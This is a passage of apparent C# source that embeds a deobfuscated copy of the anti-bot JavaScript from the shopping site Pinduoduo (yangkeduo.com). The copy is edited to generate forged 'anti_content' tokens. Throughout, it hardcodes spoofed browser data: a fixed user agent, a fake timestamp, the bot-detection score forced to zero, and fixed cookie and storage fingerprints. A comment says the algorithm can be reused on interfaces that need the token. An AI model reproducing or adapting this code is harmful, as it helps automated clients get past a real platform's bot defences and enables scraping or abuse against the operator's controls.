""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(n); + return o + } + ) + }(), + e.dRdvEy = function(e, t) { + for (var n, a = [], r = 0, i = """", o = """", s = 0, c = (e = atob(e)).length; s < c; s++) + o += ""%"" + (""00"" + e.charCodeAt(s).toString(16)).slice(-2); + e = decodeURIComponent(o); + for (var l = 0; l < 256; l++) + a[l] = l; + for (l = 0; l < 256; l++) + r = (r + a[l] + t.charCodeAt(l % t.length)) % 256, + n = a[l], + a[l] = a[r], + a[r] = n; + l = 0, + r = 0; + for (var u = 0; u < e.length; u++) + r = (r + a[l = (l + 1) % 256]) % 256, + n = a[l], + a[l] = a[r], + a[r] = n, + i += String.fromCharCode(e.charCodeAt(u) ^ a[(a[l] + a[r]) % 256]); + return i + } + , + e.pBDTtk = {}, + e.XUzMxH = !0); + var r = e.pBDTtk[t]; + return void 0 === r ? (void 0 === e.ytLIIR && (e.ytLIIR = !0), + a = e.dRdvEy(a, n), + e.pBDTtk[t] = a) : a = r, + a + } + , d = u(""0x0"", ""N@!L"") + , p = u(""0x1"", ""X#ub"") + , h = u(""0x2"", ""HlWl"") + , f = u(""0x3"", ""8*&^"") + , m = u(""0x4"", ""V(U@"") + , g = u(""0x5"", ""N@!L"") + , v = u(""0x6"", ""8*&^"") + , y = u(""0x7"", ""ORi#"") + , _ = u(""0x8"", ""$$MT"") + , b = u(""0x9"", ""A]&c"") + , w = u(""0xa"", ""NKkM"") + , S = u(""0xb"", ""ORi#"") + , C = u(""0xc"", ""41#!"") + , A = u(""0xd"", ""yg#F"") + , I = u(""0xe"", ""tTBx"") + , E = u(""0xf"", ""zANS"") + , k = u(""0x10"", ""p^Nr"") + , T = u(""0x11"", ""41#!"") + , N = u(""0x12"", ""YJhW"") + , D = 0 + , x = void 0 + , L = void 0 + , R = function() {} + , P = void 0 + , O = void 0 + , U = void 0; + function M(e) { + var t = {}; + return t[u(""0x59"", ""41#!"")] = u(""0x5a"", ""87zo""), + s[t[u(""0x5b"", ""rfzr"")]](e[A])[I](e) + } + (""undefined"" == typeof window ? ""undefined"" : r(window)) !== u(""0x13"", ""#*n4"") && (P = window, + O = window[u(""0x14"", ""HlWl"")], + U = window[u(""0x15"", ""Gq*t"")]); + var B = {}; + B[u(""0x5c"", ""vU%x"")] = function() { + this[N] = [] + } + , + B[u(""0x5d"", ""41#!"")] = function(e) { + if (function(e, t) { + return e < 8 + }(this[N][A])) { + var t = e || P.event + , n = t.target.id || """" + , a = {}; + a[C] = n, + a[S] = t[S], + a[w] = t[w], + a[b] = function(e, t) { + return e - t + }(Date.now(), D), + this[N][k](a) + } + } + , + B[u(""0x5e"", ""A]&c"")] = function() { + var e = [][I](s.es(""db"")); +this[""data""]=[]; + return this[N][E](function(t) { + e = e[I](s.en(t[S]), s.en(t[w]), s.es(t[C]), s.en(t[b])) + }), + M(e) + } + ; + var W = {}; + W[u(""0x5f"", ""X#ub"")] = function() { + this[N] = {} + } + , + W[u(""0x60"", ""jLF%"")] = function() { + this[T](); + var e = [][I](s.es(""kf""), s.es(""https://mobile.yangkeduo.com/mall_page.html?mall_id=935967023&page_id=10039_1549772752665_yvEdqLaiCV&is_back=1""), s.es(this[N][v])); + return M(e) + } + ; + var V = {}; + V[u(""0x61"", ""rfzr"")] = function() { + this[N] = {}, + this[N][m] = P[g][m], + this[N][f] = P[g][f] + } + , + V[u(""0x62"", ""8LuC"")] = function() { + var e = [][I](s.es(""lh""), s.en(728), s.en(1366)); + return M(e) + } + ; + var Q = {}; + Q[u(""0x63"", ""xWl$"")] = function() { + var e = function(e, t) { + return e + t + } + , t = function(e, t, n) { + return e(t, n) + } + , n = function(e, t) { + return e(t) + } + , a = function(e, t) { + return e * t + }; + +x=new Date().getTime()-2832711; +//x=1549773947000; + this[N] = e(t(parseInt, n(String, a(Math.random(), e(Math.pow(2, 52), 1))), 10), t(parseInt, n(String, a(Math.random(), function(e, t) { + return e + t + }(Math.pow(2, 30), 1))), 10)) + ""-"" + x + } + , + Q[u(""0x60"", ""jLF%"")] = function() { + this[T](); + var e = [][I](s.es(""ie""), s.es(this[N])); + return M(e) + } + ; + var q = {}; + q[u(""0x64"", ""X^fs"")] = function() { + this[N] = function() { + var e = {}; + e[u(""0x16"", ""Erlx"")] = function(e, t) { + return e !== t + } + , + e[u(""0x17"", ""sBpA"")] = u(""0x18"", ""@^yh""), + e[u(""0x19"", ""oSA*"")] = function(e, t) { + return e < t + } + , + e[u(""0x1a"", ""ORi#"")] = function(e, t) { + return e < t + } + , + e[u(""0x1b"", ""5plr"")] = function(e, t) { + return e !== t + } + , + e[u(""0x1c"", ""oSA*"")] = u(""0x1d"", ""Gtlg""), + e[u(""0x1e"", ""N@!L"")] = function(e, t) { + return e !== t + } + , + e[u(""0x1f"", ""tFE8"")] = function(e, t) { + return e === t + } + , + e[u(""0x20"", ""jLF%"")] = function(e, t) { + return e === t + } + , + e[u(""0x21"", ""5plr"")] = function(e, t) { + return e === t + } + , + e[u(""0x22"", ""sBpA"")] = u(""0x23"", ""tFE8""), + e[u(""0x24"", ""87zo"")] = function(e, t) { + return e !== t + } + , + e[u(""0x25"", ""TwR["")] = function(e, t) { + return e < t + } + , + e[u(""0x26"", ""XdCJ"")] = function(e, t) { + return e << t + } + ; + var t = []; + e[u(""0x27"", ""TwR["")](r(P[u(""0x28"", ""Gq*t"")]), e[u(""0x29"", ""Yy&w"")]) || e[u(""0x2a"", ""vU%x"")](r(P[u(""0x2b"", ""iFuj"")]), e[u(""0x2c"", ""41#!"")]) ? t[0] = 1 : t[0] = e[u(""0x2d"", ""jLF%"")](P[u(""0x2e"", ""8*&^"")], 1) || e[u(""0x1a"", ""ORi#"")](P[u(""0x2f"", ""@^yh"")], 1) ? 1 : 0, + t[1] = e[u(""0x30"", ""8LuC"")](r(P[u(""0x31"", ""VfGE"")]), e[u(""0x32"", ""Gtlg"")]) || e[u(""0x33"", ""zANS"")](r(P[u(""0x34"", ""p^Nr"")]), e[u(""0x35"", ""41#!"")]) ? 1 : 0, + t[2] = e[u(""0x36"", ""vU%x"")](r(P[u(""0x37"", ""ORi#"")]), e[u(""0x38"", ""$$MT"")]) ? 0 : 1, + t[3] = e[u(""0x39"", ""8LuC"")](r(P[u(""0x3a"", ""Yy&w"")]), e[u(""0x3b"", ""sBpA"")]) ? 0 : 1, + t[4] = e[u(""0x3c"", ""VfGE"")](r(P[u(""0x3d"", ""xWl$"")]), e[u(""0x3e"", ""yg#F"")]) ? 0 : 1, + t[5] = e[u(""0x3f"", ""Gtlg"")](O[u(""0x40"", ""rfzr"")], !0) ? 1 : 0, + t[6] = e[u(""0x41"", ""prnV"")](r(P[u(""0x42"", ""NKkM"")]), e[u(""0x43"", ""TwR["")]) && e[u(""0x44"", ""8*&^"")](r(P[u(""0x45"", ""YJhW"")]), e[u(""0x46"", ""Erlx"")]) ? 0 : 1; + try { + e[u(""0x47"", ""tFE8"")](r(Function[u(""0x48"", ""XdCJ"")][u(""0x49"", ""VfGE"")]), e[u(""0x43"", ""TwR["")]) && (t[7] = 1), + e[u(""0x4a"", ""YJhW"")](Function[u(""0x4b"", ""HlWl"")][u(""0x4c"", ""Gq*t"")][u(""0x4d"", ""8LuC"")]()[u(""0x4e"", ""VfGE"")](/bind/g, e[u(""0x4f"", ""XdCJ"")]), Error[u(""0x50"", ""zANS"")]()) && (t[7] = 1), + e[u(""0x51"", ""8LuC"")](Function[u(""0x52"", ""TwR["")][u(""0x50"", ""zANS"")][u(""0x53"", ""]iEY"")]()[u(""0x54"", ""X#ub"")](/toString/g, e[u(""0x55"", ""]iEY"")]), Error[u(""0x56"", ""@^yh"")]()) && (t[7] = 1) + } catch (e) {} + for (var n = 0, a = 0; e[u(""0x57"", ""5plr"")](a, t[A]); a++) + n += e[u(""0x58"", ""8*&^"")](t[a], a); + return n + }() + } + , + q[u(""0x65"", ""X^fs"")] = function() { +this[N]=0; + var e = [][I](s.es(""hb""), s.en(this[N])); + return M(e) + } + ; + var F = {}; + F[u(""0x66"", ""Gtlg"")] = function() { + var e, t; + this[N] = (e = i, + t = P[_][y] ? P[_][y] : """", + e(t)) + } + , + F[u(""0x67"", ""tTBx"")] = function() { +this[N]=""2b35d8af16a28a0b22e4d9363d5770ba""; + var e = [][I](s.es(""ml""), s.es(this[N])); + return M(e) + } + ; + var G = {}; + G[u(""0x68"", ""Yy&w"")] = function() { + var e = u(""0x69"", ""#*n4""); + this[N] = P[e] ? ""y"" : ""n"" + } + , + G[u(""0x6a"", ""41#!"")] = function() { +this[N]=""y""; + var e = [][I](s.es(""qc""), s.es(this[N])); + return M(e) + } + ; + var H = {}; + H[u(""0x6b"", ""tFE8"")] = function() { + var e = u(""0x6c"", ""X^fs""); + this[N] = P[e] ? ""y"" : ""n"" + } + , + H[u(""0x6d"", ""xWl$"")] = function() { +this[N]=""y""; + var e = [][I](s.es(""za""), s.es(this[N])); + return M(e) + } + ; + var j = {}; + j[u(""0x6e"", ""@^yh"")] = function() { + this[N] = Date.now() - L +this[N]=1798959; + } + , + j[u(""0x5e"", ""A]&c"")] = function() { + this[T](); + var e = [][I](s.es(""xq""), s.en(this[N])); + return M(e) + } + ; + var K = {}; + K[u(""0x6f"", ""p^Nr"")] = function() { + var e = u(""0x70"", ""zANS""); + this[N] = O[e] + } + , + K[u(""0x71"", ""YJhW"")] = function() { +this[N]=""Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36""; + var e = [][I](s.es(""te""), s.es(this[N])); + return M(e) + } + ; + var z = {}; + function Y() { + [V, q, F, G, H, K, z][E](function(e) { + e[T] + }) + } + function J() { + var e = {}; + e[u(""0x76"", ""8*&^"")] = u(""0x77"", ""41#!""), + e[u(""0x78"", ""Yy&w"")] = u(""0x79"", ""5Bg9""), + e[u(""0x7a"", ""VfGE"")] = u(""0x7b"", ""YJhW""), + P[e[u(""0x7c"", ""A]&c"")]][e[u(""0x7d"", ""zANS"")]](e[u(""0x7e"", ""rfzr"")], B, !1) + } + function Z() { + [B][E](function(e) { + e[T]() + }) + } + function X() { + var e, t = {}; + t[u(""0x7f"", ""#*n4"")] = u(""0x80"", ""UT1q""), + t[u(""0x81"", ""xWl$"")] = function(e) { + return e() + } + , + t[u(""0x82"", ""vU%x"")] = function(e, t) { + return e < t + } + , + t[u(""0x83"", ""yh6@"")] = function(e, t) { + return e === t + } + , + t[u(""0x84"", ""a3XL"")] = function(e, t) { + return e > t + } + , + t[u(""0x85"", ""Gtlg"")] = function(e, t) { + return e <= t + } + , + t[u(""0x86"", ""l!fK"")] = function(e, t) { + return e - t + } + , + t[u(""0x87"", ""zANS"")] = function(e, t) { + return e << t + } + , + t[u(""0x88"", ""a3XL"")] = function(e, t) { + return e > t + } + , + t[u(""0x89"", ""$$MT"")] = function(e, t) { + return e - t + } + , + t[u(""0x8a"", ""zANS"")] = function(e, t) { + return e << t + } + , + t[u(""0x8b"", ""ai[I"")] = function(e, t, n) { + return e(t, n) + } + , + t[u(""0x8c"", ""ai[I"")] = u(""0x8d"", ""yg#F""), + t[u(""0x8e"", ""ai[I"")] = function(e, t) { + return e + t + } + , + t[u(""0x8f"", ""N@!L"")] = u(""0x90"", ""iFuj""), + t[u(""0x91"", ""YJhW"")] = u(""0x92"", ""5plr""); + var n = (e = [])[I].apply(e, [B[u(""0x93"", ""oSA*"")](), W[u(""0x94"", ""HlWl"")](), V[u(""0x95"", ""iFuj"")](), Q[u(""0x96"", ""prnV"")](), q[u(""0x97"", ""yh6@"")](), F[u(""0x94"", ""HlWl"")](), G[u(""0x98"", ""8*&^"")](), H[u(""0x99"", ""V(U@"")](), j[u(""0x9a"", ""QENo"")](), K[u(""0x9b"", ""h&#n"")]()].concat(function(e) { + if (Array.isArray(e)) { + for (var t = 0, n = Array(e.length); t < e.length; t++) + n[t] = e[t]; + return n + } + return Array.from(e) + }(z[u(""0x9c"", ""TwR["")]()))); + t[u(""0x9d"", ""X#ub"")](Z); + for (var a = n[A][u(""0x9e"", ""X#ub"")](2)[u(""0x9f"", ""V(U@"")](""""), r = 0; t[u(""0xa0"", ""@^yh"")](a[A], 16); r += 1) + a[u(""0xa1"", ""TwR["")](""0""); + a = a[u(""0xa2"", ""Yy&w"")](""""); + var i = []; + t[u(""0xa3"", ""87zo"")](n[A], 0) ? i[k](0, 0) : t[u(""0xa4"", ""X^fs"")](n[A], 0) && t[u(""0xa5"", ""@^yh"")](n[A], t[u(""0xa6"", ""iFuj"")](t[u(""0xa7"", ""HlWl"")](1, 8), 1)) ? i[k](0, n[A]) : t[u(""0xa8"", ""h&#n"")](n[A], t[u(""0xa9"", ""szDT"")](t[u(""0xaa"", ""iFuj"")](1, 8), 1)) && i[k](t[u(""0xab"", ""tFE8"")](parseInt, a[d](0, 8), 2), t[u(""0xac"", ""jLF%"")](parseInt, a[d](8, 16), 2)), + n = [][I]([1], [0, 0, 0], i, n); + var c = o()[t[u(""0xad"", ""YJhW"")]](n) + , l = [][u(""0xae"", ""Erlx"")][u(""0xaf"", ""ORi#"")](c, function(e) { + return String[t[u(""0xb0"", ""HlWl"")]](e) + }); + return t[u(""0xb1"", ""@^yh"")](t[u(""0xb2"", ""vU%x"")], s[t[u(""0xb3"", ""A]&c"")]](l[u(""0xb4"", ""A]&c"")](""""))) + } + function $() { + var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : {} + , t = {}; + t[u(""0xb5"", ""5Bg9"")] = u(""0xb6"", ""zANS""), + t[u(""0xb7"", ""jLF%"")] = function(e) { + return e() + } + , + t[u(""0xb8"", ""UT1q"")] = u(""0xb9"", ""XdCJ""), + t[u(""0xba"", ""#*n4"")] = function(e) { + return e() + } + , + t[u(""0xbb"", ""X^fs"")] = function(e) { + return e() + } + ; + for (var n = t[u(""0xbc"", ""iFuj"")][u(""0xbd"", ""Gq*t"")](""|""), a = 0; ; ) { + switch (n[a++]) { + case ""0"": + D = Date[u(""0xbe"", ""Vfyd"")](); + continue; + case ""1"": + t[u(""0xbf"", ""X#ub"")](Z); + continue; + case ""2"": + this[u(""0xc0"", ""NKkM"")](e[t[u(""0xc1"", ""Yy&w"")]] || 879609302220); + continue; + case ""3"": + t[u(""0xc2"", ""]iEY"")](Y); + continue; + case ""4"": + t[u(""0xc3"", ""szDT"")](J); + continue + } + break + } + } + /*z[u(""0x72"", ""HlWl"")] = function() { + this[N] = c() + } + ,*/ + z[u(""0x73"", ""a3XL"")] = function() { + var e = this + , t = u(""0x74"", ""N@!L"") + , n = u(""0x75"", ""41#!"") + , a = [] + , r = {}; +this[N]={""nano_cookie_fp"":""XpdYlpmxlpgxnqXbn9_eYcGO1a_o7Qm~gn7c44IB"",""nano_storage_fp"":""XpdYlpmxlpgxnqXbn9_eYcGO1a_o7Qm~gn7c44IB""}; + return r[t] = ""ys"", + r[n] = ""ut"", + Object.keys(this[N])[E](function(t) { + var n = [][I](s.es(r[t]), s.es(e[N][t])); + a[k](function(e, t) { + return e(t) + }(M, n)) + }), + a + } + , + $[u(""0xc4"", ""vU%x"")][u(""0xc5"", ""QENo"")] = function(e) { + L = Date[u(""0xc6"", ""N@!L"")](), + x = e + } + , + $[u(""0xc7"", ""p^Nr"")][T] = R, + $[u(""0xc8"", ""szDT"")][u(""0xc9"", ""8LuC"")] = R, + $[u(""0xc4"", ""vU%x"")][u(""0xca"", ""oSA*"")] = function() { + var e = {}; + return e[u(""0xcb"", ""YJhW"")] = function(e) { + return e() + } + , + e[u(""0xcc"", ""41#!"")](X) + } + , + $[u(""0xcd"", ""prnV"")][u(""0xce"", ""TyG1"")] = function() { + var e = {}; + return e[u(""0xcf"", ""8LuC"")] = function(e, t) { + return e(t) + } + , + e[u(""0xd0"", ""YJhW"")] = function(e) { + return e() + } + , + new Promise(function(t) { + e[u(""0xd1"", ""A]&c"")](t, e[u(""0xd2"", ""jLF%"")](X)) + } + ) + } + ; + +var e={}; + var ee = void 0; + e[u(""0xd3"", ""ai[I"")] = function(e) { + return ee || (ee = new $(e)) + } +return X() +return e[u(""0xd3"", ""ai[I"")] +} +function aaa(){return encodeURIComponent(obj_2())}"; + #endregion + + #region 0an算法,可以用在部分需要0ao的接口上 + public static string PinDuoDUo_0ao = @"function get_anti(h) { + var href = h; + var f_rot = (function (t, n) { + var r, e; + r = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"", + e = { + rotl: function (t, n) { + return t << n | t >>> 32 - n + }, + rotr: function (t, n) { + return t << 32 - n | t >>> n + }, + endian: function (t) { + if (t.constructor == Number) + return 16711935 & e.rotl(t, 8) | 4278255360 & e.rotl(t, 24); + for (var n = 0; n < t.length; n++) + t[n] = e.endian(t[n]); + return t + }, + randomBytes: function (t) { + for (var n = []; t > 0; t--) + n.push(Math.floor(256 * Math.random())); + return n + }, + bytesToWords: function (t) { + for (var n = [], r = 0, e = 0; r < t.length; r++, + e += 8) + n[e >>> 5] |= t[r] << 24 - e % 32; + return n + }, + wordsToBytes: function (t) { + for (var n = [], r = 0; r < 32 * t.length; r += 8) + n.push(t[r >>> 5] >>> 24 - r % 32 & 255); + return n + }, + bytesToHex: function (t) { + for (var n = [], r = 0; r < t.length; r++) + n.push((t[r] >>> 4).toString(16)), + n.push((15 & t[r]).toString(16)); + return n.join("""") + }, + hexToBytes: function (t) { + for (var n = [], r = 0; r < t.length; r += 2) + n.push(h(t.substr(r, 2), 16)); + return n + }, + bytesToBase64: function (t) { + for (var n = [], e = 0; e < t.length; e += 3) + for (var i = t[e] << 16 | t[e + 1] << 8 | t[e + 2], a = 0; a < 4; a++) + 8 * e + 6 * a <= 8 * t.length ? n.push(r.charAt(i >>> 6 * (3 - a) & 63)) : n.push(""=""); + return n.join("""") + }, + base64ToBytes: function (t) { + t = t.replace(/[^A-Z0-9+\/]/gi, """"); + for (var n = [], e = 0, i = 0; e < t.length; i = ++e % 4) + 0 != i && n.push((r.indexOf(t.charAt(e - 1)) & Math.pow(2, -2 * i + 8) - 1) << 2 * i | r.indexOf(t.charAt(e)) >>> 6 - 2 * i); + return n + } + }; + return e; + })(); // 7 + + + var f_base64 = (function (t, n) { + return function (t) { + t = t || 21; + for (var n = """"; 0 < t--;) + n += ""_~varfunctio0125634789bdegjhklmpqswxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""[64 * Math.random() | 0]; + return n + } + })(); // 17 + + + var f_input = (function (t, n, r) { + ""use strict""; + return function () { + this.input = null, + this.next_in = 0, + this.avail_in = 0, + this.total_in = 0, + this.output = null, + this.next_out = 0, + this.avail_out = 0, + this.total_out = 0, + this.msg = """", + this.state = null, + this.data_type = 2, + this.adler = 0 + } + })(); // 15 + + + var f_err = (function (t, n, r) { + ""use strict""; + return function (t, n, r) { + if (""string"" != typeof t) + throw new Error(""The string parameter must be a string.""); + if (t.length < 1) + throw new Error(""The string parameter must be 1 character or longer.""); + if (""number"" != typeof n) + throw new Error(""The length parameter must be a number.""); + if (""string"" != typeof r && r) + throw new Error(""The character parameter must be a string.""); + var e = -1; + for (n -= t.length, + r || 0 === r || (r = "" ""); ++e < n;) + t += r; + return t + } + })(); // 18 + + + var f_assign = (function (t, n, r) { + ""use strict""; + var n = {}; + var e = ""function"" == typeof _ && ""symbol"" == g(w) ? function (t) { + return ""object"" + } + : function (t) { + return t && ""function"" == typeof _ && t.constructor === _ && t !== _.prototype ? ""symbol"" : ""object"" + } + , + i = ""undefined"" != typeof Uint8Array && ""undefined"" != typeof Uint16Array && ""undefined"" != typeof Int32Array; + + function a(t, n) { + return Object.prototype.hasOwnProperty.call(t, n) + } + + n.assign = function (t) { + for (var n = Array.prototype.slice.call(arguments, 1); n.length;) { + var r = n.shift(); + if (r) { + if (""object"" !== (void 0 === r ? ""undefined"" : e(r))) + throw new TypeError(r + ""must be non-object""); + for (var i in r) + a(r, i) && (t[i] = r[i]) + } + } + return t + } + , + n.shrinkBuf = function (t, n) { + return t.length === n ? t : t.subarray ? t.subarray(0, n) : (t.length = n, + t) + } + ; + var o = { + arraySet: function (t, n, r, e, i) { + if (n.subarray && t.subarray) + t.set(n.subarray(r, r + e), i); + else + for (var a = 0; a < e; a++) + t[i + a] = n[r + a] + }, + flattenChunks: function (t) { + var n, r, e, i, a, o; + for (e = 0, + n = 0, + r = t.length; n < r; n++) + e += t[n].length; + for (o = new Uint8Array(e), + i = 0, + n = 0, + r = t.length; n < r; n++) + a = t[n], + o.set(a, i), + i += a.length; + return o + } + } + , s = { + arraySet: function (t, n, r, e, i) { + for (var a = 0; a < e; a++) + t[i + a] = n[r + a] + }, + flattenChunks: function (t) { + return [].concat.apply([], t) + } + }; + n.setTyped = function (t) { + t ? (n.Buf8 = Uint8Array, + n.Buf16 = Uint16Array, + n.Buf32 = Int32Array, + n.assign(n, o)) : (n.Buf8 = Array, + n.Buf16 = Array, + n.Buf32 = Array, + n.assign(n, s)) + } + , + n.setTyped(i); + + return n; + })(); // 0 + + + var f_string = (function (t, n, r) { + ""use strict""; + var n = {}; + var e = f_assign + , i = !0 + , a = !0; + String.fromCharCode.apply(null, [0]) + String.fromCharCode.apply(null, new Uint8Array(1)) + for (var o = new e.Buf8(256), s = 0; s < 256; s++) + o[s] = s >= 252 ? 6 : s >= 248 ? 5 : s >= 240 ? 4 : s >= 224 ? 3 : s >= 192 ? 2 : 1; + + function u(t, n) { + if (n < 65534 && (t.subarray && a || !t.subarray && i)) + return String.fromCharCode.apply(null, e.shrinkBuf(t, n)); + for (var r = """", o = 0; o < n; o++) + r += String.fromCharCode(t[o]); + return r + } + + o[254] = o[254] = 1, + n.string2buf = function (t) { + var n, r, i, a, o, s = t.length, u = 0; + for (a = 0; a < s; a++) + 55296 == (64512 & (r = t.charCodeAt(a))) && a + 1 < s && 56320 == (64512 & (i = t.charCodeAt(a + 1))) && (r = 65536 + (r - 55296 << 10) + (i - 56320), + a++), + u += r < 128 ? 1 : r < 2048 ? 2 : r < 65536 ? 3 : 4; + for (n = new e.Buf8(u), + o = 0, + a = 0; o < u; a++) + 55296 == (64512 & (r = t.charCodeAt(a))) && a + 1 < s && 56320 == (64512 & (i = t.charCodeAt(a + 1))) && (r = 65536 + (r - 55296 << 10) + (i - 56320), + a++), + r < 128 ? n[o++] = r : r < 2048 ? (n[o++] = 192 | r >>> 6, + n[o++] = 128 | 63 & r) : r < 65536 ? (n[o++] = 224 | r >>> 12, + n[o++] = 128 | r >>> 6 & 63, + n[o++] = 128 | 63 & r) : (n[o++] = 240 | r >>> 18, + n[o++] = 128 | r >>> 12 & 63, + n[o++] = 128 | r >>> 6 & 63, + n[o++] = 128 | 63 & r); + return n + } + , + n.buf2binstring = function (t) { + return u(t, t.length) + } + , + n.binstring2buf = function (t) { + for (var n = new e.Buf8(t.length), r = 0, i = n.length; r < i; r++) + n[r] = t.charCodeAt(r); + return n + } + , + n.buf2string = function (t, n) { + var r, e, i, a, s = n || t.length, c = new Array(2 * s); + for (e = 0, + r = 0; r < s;) + if ((i = t[r++]) < 128) + c[e++] = i; + else if ((a = o[i]) > 4) + c[e++] = 65533, + r += a - 1; + else { + for (i &= 2 === a ? 31 : 3 === a ? 15 : 7; a > 1 && r < s;) + i = i << 6 | 63 & t[r++], + a--; + a > 1 ? c[e++] = 65533 : i < 65536 ? c[e++] = i : (i -= 65536, + c[e++] = 55296 | i >> 10 & 1023, + c[e++] = 56320 | 1023 & i) + } + return u(c, e) + } + , + n.utf8border = function (t, n) { + var r; + for ((n = n || t.length) > t.length && (n = t.length), + r = n - 1; r >= 0 && 128 == (192 & t[r]);) + r--; + return r < 0 ? n : 0 === r ? n : r + o[t[r]] > n ? r : n + }; + + return n; + })(); // 14 + + + var f_hook_object = (function (t, n) { + return function (t) { + return t.webpackPolyfill || (t.deprecate = function () { + } + , + t.paths = [], + t.children || (t.children = []), + Object.defineProperty(t, ""loaded"", { + enumerable: !0, + get: function () { + return t.l + } + }), + Object.defineProperty(t, ""id"", { + enumerable: !0, + get: function () { + return t.i + } + }), + t.webpackPolyfill = 1), + t + } + })(); // 1 + + + var f_utf8_bin = (function (t, n) { + var r = { + utf8: { + stringToBytes: function (t) { + return r.bin.stringToBytes(unescape(encodeURIComponent(t))) + }, + bytesToString: function (t) { + return decodeURIComponent(escape(r.bin.bytesToString(t))) + } + }, + bin: { + stringToBytes: function (t) { + for (var n = [], r = 0; r < t.length; r++) + n.push(255 & t.charCodeAt(r)); + return n + }, + bytesToString: function (t) { + for (var n = [], r = 0; r < t.length; r++) + n.push(String.fromCharCode(t[r])); + return n.join("""") + } + } + }; + return r; + })(); // 2 + + + var f_stream = (function (t, n, r) { + ""use strict""; + t = { + 2: ""need dictionary"", + 1: ""stream end"", + 0: """", + ""-1"": ""file error"", + ""-2"": ""stream error"", + ""-3"": ""data error"", + ""-4"": ""insufficient memory"", + ""-5"": ""buffer error"", + ""-6"": ""incompatible version"" + } + return t; + })(); // 3 + + + var f_en = (function (t, n, r) { + var n, r, + e = [""WMKPO8ONwrHCnTM="", ""w4HDqMO4R8KDw4Q="", ""cV97wr4AAsOPw7o="", ""w53DkMKT"", ""w5fDu8OBcsOtw6c="", ""w7A/CRDCiSDChV1MwqvCkDJrDidnwqPCpMK0"", ""w5PDlMOVNQsVAsKgEcK0woPDv8KCe8OCwpTCoRbDui/DsUMDw58RH24twqDDjsKNwrRfGCTDt2sVw7HCrcOze8OYwqkkwpXCp8O3asKnw7sGHV/DkBUTw71kRcKfwqQVw5c="", ""woNjOcKOYsONw7jDgcOJHzcXwop/KMOwKSTCrg=="", ""wpgRwod3NsKHPg=="", ""w64QQ3LDtMOvwrZiNA=="", ""bMOGZ8KJISnDl2sPwqw="", ""wrLDizPDhhrCjA=="", ""w5vDnMKRORQ2"", ""QRDDssOI"", ""w6XDvcKRwpgsMCx0FMO+w7HDjAxzJsKZwpEgdjPDvMOaHMO8McKMwofCo8OCZ8KnIsOANCzCm8KUe8OJOizDtB8ZU8Owfz1tMHELL8O1AMOOw6zDlGMnExwKw6Y="", ""YUd2wqU3""]; + n = e, + r = 249, + function (t) { + for (; --t;) + n.push(n.shift()) + }(++r); + var i = function t(n, r) { + var i, a = e[n -= 0]; + void 0 === t.OYUOmT && ((i = function () { + var t; + t = Function('return (function() {}.constructor(""return this"")( ));')() + return t + }()).atob || (i.atob = function (t) { + for (var n, r, e = String(t).replace(/=+$/, """"), i = 0, a = 0, o = """"; r = e.charAt(a++); ~r && (n = i % 4 ? 64 * n + r : r, + i++ % 4) ? o += String.fromCharCode(255 & n >> (-2 * i & 6)) : 0) + r = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="".indexOf(r); + return o + } + ), + t.KlaBWf = function (t, n) { + for (var r, e = [], i = 0, a = """", o = """", s = 0, u = (t = atob(t)).length; s < u; s++) + o += ""%"" + (""00"" + t.charCodeAt(s).toString(16)).slice(-2); + t = decodeURIComponent(o); + for (var c = 0; c < 256; c++) + e[c] = c; + for (c = 0; c < 256; c++) + i = (i + e[c] + n.charCodeAt(c % n.length)) % 256, + r = e[c], + e[c] = e[i], + e[i] = r; + c = 0, + i = 0; + for (var f = 0; f < t.length; f++) + i = (i + e[c = (c + 1) % 256]) % 256, + r = e[c], + e[c] = e[i], + e[i] = r, + a += String.fromCharCode(t.charCodeAt(f) ^ e[(e[c] + e[i]) % 256]); + return a + } + , + t.qLLMER = {}, + t.OYUOmT = !0); + var o = t.qLLMER[n]; + return void 0 === o ? (void 0 === t.ERaocM && (t.ERaocM = !0), + a = t.KlaBWf(a, r), + t.qLLMER[n] = a) : a = o, + a + } + , a = i(""0x0"", ""Z*YI"") + , o = i(""0x1"", ""eHoP"") + , s = i(""0x2"", ""xf4l"") + , u = i(""0x3"", ""4H[4"") + , c = i(""0x4"", ""jbx*"") + , f = i(""0x5"", ""pe(C"")[i(""0x6"", ""j)OB"")]("""") + , w = {}; + + function l(t) { + return t[i(""0x7"", ""gQva"")](/[+\/=]/g, function (t) { + return w[t] + }) + } + + w[""+""] = ""-"", + w[""/""] = ""_"", + w[""=""] = """"; + var d = {}; + d[i(""0x8"", ""O7N@"")] = function (t) { + for (var n = function (t, n) { + return t(n) + }, r = function (t, n) { + return t < n + }, e = function (t, n) { + return t + n + }, i = function (t, n) { + return t + n + }, a = function (t, n) { + return t >>> n + }, o = function (t, n) { + return t & n + }, u = function (t, n) { + return t | n + }, c = function (t, n) { + return t << n + }, w = function (t, n) { + return t | n + }, d = function (t, n) { + return t === n + }, _ = function (t, n) { + return t + n + }, x = function (t, n) { + return t >>> n + }, g = function (t, n) { + return t + n + }, v = function (t, n) { + return t & n + }, p = void 0, b = void 0, m = void 0, C = """", D = t[s], O = 0, k = function (t, n) { + return t * n + }(n(h, function (t, n) { + return t / n + }(D, 3)), 3); r(O, k);) + p = t[O++], + b = t[O++], + m = t[O++], + C += e(e(i(f[a(p, 2)], f[o(u(c(p, 4), a(b, 4)), 63)]), f[o(w(c(b, 2), a(m, 6)), 63)]), f[o(m, 63)]); + var y = function (t, n) { + return t - n + }(D, k); + return d(y, 1) ? (p = t[O], + C += i(_(f[x(p, 2)], f[function (t, n) { + return t & n + }(c(p, 4), 63)]), ""=="")) : d(y, 2) && (p = t[O++], + b = t[O], + C += _(g(g(f[x(p, 2)], f[v(w(function (t, n) { + return t << n + }(p, 4), function (t, n) { + return t >>> n + }(b, 4)), 63)]), f[v(function (t, n) { + return t << n + }(b, 2), 63)]), ""="")), + n(l, C) + } + , + d[i(""0x9"", ""j)OB"")] = function (t) { + for (var n = function (t, n) { + return t < n + }, r = function (t, n) { + return t >= n + }, e = function (t, n) { + return t <= n + }, i = function 